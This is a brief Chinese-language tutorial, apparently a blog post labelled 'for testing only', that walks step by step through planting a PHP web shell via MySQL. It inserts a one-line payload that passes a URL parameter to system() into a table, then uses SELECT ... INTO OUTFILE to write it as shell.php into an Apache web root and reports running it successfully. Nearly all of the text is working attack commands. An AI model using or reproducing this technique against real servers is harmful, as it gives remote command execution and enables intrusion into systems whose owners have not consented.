本文只用于测试:
1、假如有mysql-test数据库中有一张表t(结构如下):
mysql> desc t;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| nam   | varchar(100) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.03 sec)

2、插入一条数据:

mysql> insert into t values("<?php $id=$_GET['id'];system ($id);?>");
Query OK, 1 row affected (0.05 sec)

查证:
mysql> select * from t;
+---------------------------------------+
| nam                                   |
+---------------------------------------+
| |
+---------------------------------------+
1 row in set (0.00 sec)

3、用t表中的数据生成shell.php文件:
mysql> select * from t into outfile "D:/Program Files/Apache Software Foundation/Apache2.2/htdocs/shell.php";
Query OK, 1 row affected (0.00 sec)

4、运行shell.php文件:
MYSQL+PHP <wbr>如何调用系统命令
可以看到测试成功了!!! 
注意:插入数据用“”号;
      php中用$id=$_GET['id']得到传递参数。